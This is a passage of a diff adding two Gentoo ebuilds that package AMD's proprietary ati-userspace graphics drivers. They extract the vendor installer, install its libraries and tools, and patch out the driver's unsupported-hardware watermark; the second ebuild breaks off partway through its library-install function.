+++ b/x11-drivers/ati-userspace/ati-userspace-12.1-r1.ebuild
@@ -0,0 +1,414 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.10.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.10.ebuild
new file mode 100644
index 00000000..e27131b3
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.10.ebuild
@@ -0,0 +1,433 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SRC_URI="http://www2.ati.com/drivers/linux/amd-driver-installer-catalyst-${PV}-x86.x86_64.zip"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+RESTRICT="bindist"
+
+RDEPEND="<=x11-base/xorg-server-1.12.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	sys-power/acpid
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	x-multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst
+	sys-apps/findutils
+	app-misc/pax-utils"
+
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ ${A} =~ .*\.tar\.gz ]]; then
+		unpack ${A}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${A} =~ .*\.zip ]]; then
+			unpack ${A}
+			[[ -z "$RUN" ]] && RUN="${S}/${A/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${A}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-3.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	# Get rid of watermark. Oldest known reference:
+	# http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+	ebegin "Disabling watermark"
+	driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+	done
+	eend $? || die "Disabling watermark failed"
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile && use multilib; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+
+	# Required by upstream AMD
+	touch "${D}/etc/ati/atiapfuser.blb" || die
+	insinto /etc/ati
+	doins "${FOLDER_PREFIX}etc/ati/atiapfxx.blb"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
